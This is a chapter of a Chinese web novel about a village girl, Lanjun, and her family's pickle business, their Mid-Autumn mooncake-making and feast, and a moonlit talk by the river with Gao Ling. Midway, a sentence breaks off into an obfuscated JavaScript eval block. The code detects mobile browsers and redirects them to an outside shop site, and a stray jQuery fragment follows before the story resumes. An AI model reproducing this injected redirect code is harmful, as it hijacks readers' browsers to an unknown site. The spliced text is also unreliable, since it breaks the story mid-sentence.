暮色四合,姐妹俩坐在院子里头碰着头,把凤仙花瓣倒进碗里。
兰君杵了一会,抬头问道:“明矾呢?”
宁君捏了两小捏放进碗里,兰君继续边杵边拌。
“这样应该行了吧?”宁君开口道,“三婶说放一会再染,更容易上色。”
驴棚里的驴打了个响鼻,甩了甩尾巴。
“吓我一跳。”兰君喊道,“乌云,你干什么?”
哥哥端着饭放到桌上,又回厨房拿碗筷。
“我说叫二灰挺好,你非得管它叫乌云。”哥哥说道,“不知道还以为是闺阁小姐的名字。”
兰君摇摇头,说道:“二灰太土,而且人家是母驴。”
娘端着菜出来,开口说道:“宁君兰君,你俩别玩了,快来吃饭吧。”
全家人整整齐齐地坐到桌前,兰君夹了块红烧肉放进嘴里。
“嗯,好吃。”兰君点点头,又给宁君夹了一大块,“娘,周婶今天弄了多少菜啊?”
“她手脚快,三十斤菜,都洗好切好了。”娘开口说道,“你别说,她来了之后我跟你爹轻松多了。”
兰君点点头,又给爹夹了块肉。
“立秋都过了这么久了,也不见这天凉快下来。”哥哥说道,“这段时间都是晴天,地气足,我听村里的老人说,今年地里估计收成不错。”
“那对大房来讲是好事,县太爷判的是按正常年景的收成给五成地租。”娘开了口,“真是便宜他们了。”
兰君瞄了眼爹的脸色,他没什么表情。
“今年秋收收成不错的话,菜价肯定低。”爹拍了拍娘,“你记不记得以前?丰年的时候,一文钱能买一大车白菜,咱们可以趁这阵子多囤点菜,留着自家吃,也留着腌菜。”
娘又扒了口饭,给宁君盛了碗汤。
“再过十多天就是中秋了吧?”娘突然想到,“兰君,你到时候把你师祖请过来,还有高家那小孩,都叫过来,咱们一起热热闹闹过个节。”
兰君停了筷,宁君也扭头看了她一眼。
“我不去。”兰君端起碗,又扒拉了两口,“你让哥去叫他们吧。”
爹娘对视一眼。
“怎么了?”爹问了一句,“你跟高家那小孩闹别扭了?”
“什么呀。”兰君开口道,“我最近在学吹埙,还想多看看白秀才借我的抄本呢,我没时间。”
“三婶,今年月饼是咱们自己包吗?”宁君开口解围道,“到时候我跟您一块包,兰君最近忙着看她那本诗集呢。”
娘笑着道好,让兰君和宁君再多吃点。
吃完晚饭,姐妹俩拿着碗回了前院,借着油灯的光,把凤仙花糊到指甲上,也用叶子包住手指,再用棉线捆好。
兰君刚打算吹了灯睡觉,宁君拉住了她的手。
“怎么回事呀?”她问道,“我感觉你最近怪怪的。”
兰君没接茬,开口说道:“没怎么呀,明天你想吃蒜炒空心菜吗?咱们后院的空心菜又长出新的一茬了,我倒是挺想吃的。”
宁君拧了一把她的脸,说道:“不说算了,我就是想说,你有什么想说的想倾诉的,别憋在心里,记得和我说。”
兰君笑了一下,催着宁君上了床,她一口气吹灭了油灯,然后摸着黑躺到床上。
许久后,屋内一片漆黑,她睁开了眼睛。
她扭头看了看宁君,宁君已经睡着了,她默默叹了口气,不知道该怎么面对即将到来的中秋。
日子一天天地过。
又一个多月过去,兰君算完账后,放下了笔。
“这个月净赚了五千五百多文。”兰君指着账本念道,“多了两家来订腌菜的粥铺,两家都是隔日送三斤,我们赶集日带三十斤去,偶尔会剩个两三斤,偶尔能都卖完。”
爹娘点了点头,哥哥在一边开了口:“我听邱大娘说,最近镇上也有人在卖酒糟腌菜。”
“然后呢?”娘问道,“你去看过吗?”
哥哥答道:“邱大娘家的孩子帮我去买了点,我回来一尝,就是普通的咸菜味,酸味还有点冲,卖得还不便宜呢。”
“人家认得是咱家的腌菜,又不是酒糟腌菜这几个字。”爹开口道,“咱们把东西做好就行,别的不用管。”
娘和哥哥都没说什么,兰君在一旁陷入了思索之中。
片刻后,她开口道:“咱们要不在镇上开个店吧?”
三人都看向她。
“开店?”爹问道,“兰君,你好好说说。”
“我是这么想的。”她开口说道,“镇集隔日一开,我们最多只能在那儿卖一上午,但开店就不一样了,而且卖腌菜也不需要特别大的地方。”
爹娘都没开口,她又开了口。
“我们可以租一个六七尺见方的铺子,能摆两三个坛子,摆个柜台和椅子就行。”兰君说道,“咱们早晚得解决这个事,不然到了冬天,这腌菜在外面放一个时辰,估计都得结冰了。”
爹娘对了下眼神,又看了看哥哥。
“那这样吧。”娘开了口,“你俩回头去镇上的时候去牙行打听一下,租这个这样的铺子多少钱,一次付几个月的租金,还有两天就是中秋了,过了中秋再说,别耽误过节。”
兄妹俩对视一眼后点点头,兰君把账本收好。
“明天赶集的时候,你俩去干货铺,多买点红枣和红豆,再买点核桃,再去买点面粉,该包月饼了。”娘又说道,“你俩再去你师祖家,和他们说一声,中秋的时候叫他们来。”
爹娘不约而同地看向兰君。
“你们看我干嘛?”兰君有点无奈,“叫,我去叫,行吧?”
娘没说什么,拉着爹出去干活去了。
次日。
兰君拎了串葡萄,敲响了师祖家的门。
敲了半天没人应,兰君觉得有点奇怪,又喊了几声,还是没动静。
“不在家?”兰君嘟囔了一句,“不应该啊,俩人都出门了?”
她又敲了两下,贴在门上听了一会,确实没声音。
她准备拎着葡萄走,实在不行明天再来请,刚拐过一个弯,和牵着马的高翎走了个对头碰。
“哎?”高翎有点惊讶,“兰君,你来找我吗?”
兰君应了一声,抬头一看,马上坐着个少年,正笑眯眯地和她挥手呢。
“沈姑娘好。”高亦嵘跳下马,“这么巧又见面了。”
兰君把葡萄塞给高翎,扭头和高亦嵘说道:“也不算巧吧,我本来是特地来找你爷爷的。”
他还没说话,兰君又问道:“我娘让我来请师祖和你大哥中秋晚上去我家里吃饭,你要在这边过中秋吗?”
“对,家里也没什么事,我二哥在家里呢。”他笑着说,“那我可以去吗?我在这儿待着也没啥意思。”
兰君点头说道:“行啊,你也来呗,那话带到了我就走了,你们聊吧。”
她和兄弟俩道了个别,侧过身走了。出了巷子,刚好碰到买完东西的哥哥,兰君上了车,和哥哥一起往家走了。
到了家,谷子坐在门槛上,她还戴着那顶虎头帽,正拿着一根桃干嚼着。
自从乌云来到家里,谷子每次一见到乌云就吓得直跑,兰君把她抱起来,想让她摸摸乌云的头,她也不肯。
谷子跑回屋里,兰君跟在她身后进了屋,把东西都拿进屋里了。
“都买了?”娘瞥了一眼,“人请了吗?”
“请了,但是多一个人。”兰君开口说道,“高家那个老三也来了。”
娘抬头问道:“他家几个孩子啊?”
“四个,他三弟跟我差不多大,还挺自来熟的。”兰君答道,“还有他的侍从,我不知道会不会来,你多做点菜吧。”
娘点点头,她找了个盆,让兰君把红豆和红枣都泡上,明天一早用。
一大早,娘带着姐妹俩,准备开始做月饼。
哥哥从外面回来,把东西放在厨房。
“五花肉买了。”哥哥说道,“吴叔给我挑得最好的那块,猪油他没要钱,送的。”
娘让他和宁君出去把红豆和红枣洗了,兰君站在一旁,给娘打下手。
兰君往盆里倒入面粉,又挖了一大勺猪油进去,娘把猪油和面粉搓了一搓后,兰君又加入适量温水,娘揉了一会,和成面团,用同样的方法,又和了一份面团,等待醒发。
等到红枣和红豆洗好以后,红枣用刀去核,红豆下锅煮一会,再用擀面杖碾碎,碾成带颗粒的豆沙状,加入适量白糖,红枣用同样的方式处理,捣成枣泥状。
两样都准备好后,面也醒好了,娘在一边开始包月饼。
哥哥和宁君在一边,负责切碎桃干杏干,用的是从杏花村带回来的,兰君蹲在院子里,把核桃敲碎,把切碎的果干和碎核桃一起倒进盆里,加入些许蜂蜜,搅匀备用。
果仁碎处理好后,哥哥牵着乌云,出门去了趟镇上。
娘和姐妹俩围着锅台包月饼,娘负责擀皮,姐妹俩负责包,兰君拿起擀好的皮,用勺子舀起两勺馅料,捏紧收口,收口朝下放置,用手轻轻压一下,压成扁扁的圆饼即可。
包了十几个之后,兰君扭头看了看院子里,爹坐在院里也没闲着,手里编着竹筐。
忙活了半个上午,一共七十多个月饼,兰君在不同馅料的月饼上用刀刻上不同的花纹,果仁馅的刻上米字图案,豆沙馅的刻上三道平行的横纹,枣泥馅的刻上一个十字图案。
兰君试着用篾匠特有的刻花手艺,拿了三四个月饼,每个上面都刻了朵梅花上去,拿给宁君看。
“挺好看的。”宁君笑道,“你这手艺真没白学,就是你这么刻下去,估计得刻到过年。”
姐妹俩说笑了一会,娘搅好蛋液,添了一点点糖水,搅匀递过来,姐妹俩把包好的月饼一个一个刷上蛋液,再用红曲水挨个点一个红点上去。
娘在锅里刷上油,小火慢烙,两面翻着烙,直到表面金黄酥脆,就可以出锅了。
到了晌午,月饼全部做好了,兰君一手一个盘子,正准备给邻居送月饼,哥哥拎着个还滴着水的筐,从外面回来了。
“买好了?”兰君往里面看了看,“这多少个啊?”
“三十个,够咱们晚上吃了。”哥哥说道,“我买的大个的,一个三两多,花了不到二百文。”
哥哥还拿出来一个螃蟹给她看,一股河鲜的腥味扑面而来。
兰君抬了抬下巴,说道:“你快给娘看吧,别往屋里拿,这下面还滴水呢。”
爹把筐接过来,让哥哥和兰君一起,给相熟的人家送月饼。
等兰君回来的时候,娘还在厨房里忙活着。
“不是都做完了吗?”她进去看了一眼,“还有什么活吗?咱俩一起干吧。”
娘没抬头,说道:“不用,你去歇着吧,我做点枣糕,你师祖爱吃。”
“师祖好像没吃过你做的枣糕吧?”兰君想了想,“我记得端午他和高翎来之前,咱们就已经吃完枣糕了。”
娘皱着眉开口说道:“哎呀,你别管了,歇着去吧。”
天色暗了下来,娘和兰君在灶台前忙活了一下午,她站在一边擦了擦汗,看向窗外,刚好这个时候师祖和高家兄弟来了,乐川也来了。
兰君和娘一起出去了,客人一来,院子里立马热闹起来了。
乐川在驴棚前逗乌云,差点被它咬了。哥哥在和高家兄弟俩聊天,师祖在跟爹在另一边聊起来了。
兰君和娘打了个招呼,出了院门去前院喊宁君去了。
姐妹俩在前院磨蹭了一会,等回来时,吃饭的大桌已经被人抬到院子里了,兰君环顾了一圈,发现香案还没摆。
宁君进屋去帮厨去了,她把香案抬出来,在上面摆好香炉和一盘月饼,但找了一圈,才发现好像忘了买水果了。
高翎走到兰君身边,把一口袋水果递给她。
“啊,谢谢。”兰君有点窘迫地开了口,“我才发现好像忘了买水果。”
兰君接过他递过来的石榴、梨和葡萄,依次摆好,又回头看了看,那边聊得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17861169|212002||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
正热络。
“一个多月没见了,你还好吗?”高翎开口道,“事情解决完了吗?”
她摇摇头,有点疲惫。
“我还好。”她把香条拆开,拿出一把摆在香案上,“不过事情还没有解决。”
他点点头,后面传来一阵说笑声。
“你呢?”兰君抬头问道,“最近怎么样。”
“我挺好的啊。”他又拿了两个梨摆上去,“我每天都在家闲着,有什么不好的。”
两人相视无言。
身后传来娘喊吃饭的声音,她回头看了一眼,娘和宁君一起端着菜出来了,桌子上已经摆满了菜。
兰君被宁君拉着坐下,旁边挨着哥哥,师祖坐在正对面,他面前就是那一大盘枣糕,他拿着一块,吃得正香。
在满桌的说笑声和碗筷碰撞声中,她抬头看了看天,月光格外皎洁。
娘回屋拿了两坛桂花酒上桌,兰君看着杯子里澄澈的酒液,有点困惑。
“宁君。”兰君戳了戳她,“这酒哪儿来的啊?”
对面的长辈们聊得正热切,宁君凑过来小声说道:“王婶送的,就中午你不在那阵,你尝尝,好喝,甜甜的。”
兰君仰头喝了一杯,确实如宁君所说,甜甜的,喝了也不怎么上头。
桌上的螃蟹堆成了小山,宁君吃了一个之后,还想再拿一个,但又不好意思。
“你吃呀。”兰君又拿了一个给她,“十个人分三十个螃蟹,够你吃的,你要喜欢吃,等过段时间蟹肥了,咱们买点湖蟹回来吃,偶尔奢侈一下,没关系的。”
宁君见状也没再扭捏,开始拆蟹,兰君又看了眼对面,师祖还在吃那盘枣糕。
吃得差不多了,大家起身站在香案前,准备拜月,娘给每个人都发了两柱香,兰君用火折子依次点燃。
正常拜月的流程是每人依次上前拜月,不过今天人多,就不弄那么麻烦了。
爹娘和师祖先拜,三人并排站到香案前,把香高举过头顶,祈求团圆与丰收,再把香插到香炉里。
长辈们拜完后,小辈站到香案前,再重复这个过程。
拜月结束后,高翎带来了水灯,说要去河边放了,刚好村里有走月的习俗,娘把火折子给了兰君,让他们去村东的河边去放。
高翎和姐妹俩出了门,走在路上,宁君凑到兰君耳边,小声问道:“竹君和那几个男孩怎么不来啊?”
兰君小声回道:“他们喝得正尽兴呢,哪有心思出来放水灯。”
姐妹俩笑了半天,一行人往村东的方向走去,路边有不少孩童在玩闹,有几个手里还提着纸糊的灯笼。
路过老宅门口,她看了一眼,大门紧闭。
到了河边,兰君把莲花灯里的烛芯依次点燃,暖黄色的光透过粉白的莲瓣渗出来。
她弯下腰,把灯轻轻地放到水面上,灯被水流冲走,远远看去,只剩下星星点点的微光。
“兰君,我有点困了。”宁君突然开口道,“我先回去了,你们聊吧。”
兰君还没回过神,宁君就像后头有狼撵她一样,飞快地跑走了。
月光洒下来,把两人的影子拉长,谁也没说话,秀水河对岸的村落里,隐隐约约传来说笑的声音。
“你最近还在吹埙吗?”他开口道,“我看你的埙好像没有挂在腰间了。”
兰君低着头开口道:“在吹啊,干活的时候埙挂在腰间不方便,我怕把它磕碎,所以就收到屋里了。”
空气又静默下来,许久后,他又开口道。
“其实最近,我有个困难一直没有解决。”他说道,“如果我要长时间留在七宝镇,我需要一个合理的理由。”
兰君仰起头,有点不明白。
“你认识手艺好的绣娘吗?”他开口道,“我家商号里在做绸缎生意,三弟前几天来的时候说最近来买绸缎的铺子里,总是有人问有没有绣帕和绣片卖,可是临州的绣品价格太高。”
她似有所悟,扭头看着他。
“我想看看能不能在这边收到绣品,可是最近在镇上转了一圈,发现七宝镇上没有绣坊,只有几家小绣铺。”他说道,“我打听了一下,听说镇上的富户家里都养着绣娘,所以这边没有绣坊,可是那几家小绣铺的手艺我又看不上。”
他侧过头来,看着她问道:“你可以帮帮我吗?”
兰君把头扭到一边,露出了一个有点狡黠的笑容。
“你是不是听说了什么?”她仰着头问他,“最近没闲着吧?是不是去县城了?”
他面不改色地摇了摇头。
“真没有。”他说道,“绸缎和绣品本来就是上下游的关系,我家既然做绸缎的生意,那自然而然要考虑这个问题,是你想多了。”
她垂下眼,踢走了脚边的一颗石子,石子掉进河里,泛起一阵涟漪。
“谢谢你。”她说道,“上次的事,你忙前忙后,我还没有和你道谢,虽然你总是说不用,但是除了感谢,我想不出别的回报你的方式。”
他笑了一下,摇了摇头。
“你不需要总是说感谢的话。”他侧过头看着她,“有机会的话,吹首曲子给我听吧。”
她笑着点点头。
“已经很晚了。”他开口说道,“咱们回去吧,不然你爹娘该担心了。”
两个人往回走,还是像之前那样,他默默地跟在她身后。
高家人走后,兰君回了屋,爹娘正在收拾碗筷,她余光扫到堂屋的矮桌上,上面放了一堆纸包,还有一个青色的瓮。
兰君过去看了看,抬头问道:“娘,这什么啊?”
“高家那哥俩送来的。”娘看了一眼,“送的各种蜜饯,说是他弟弟从他家商号里带来的,林檎干、雕梅、樱桃煎、金橘团,那个瓮里是蜜渍梅花,泡水喝的。”
爹看了一眼,继续干手里的活。
“你拿回前院和宁君一起吃吧。”爹开口说道,“早点睡,别总熬夜看那个诗集。”
兰君抱着一堆东西,脚步轻快地朝着前院走去。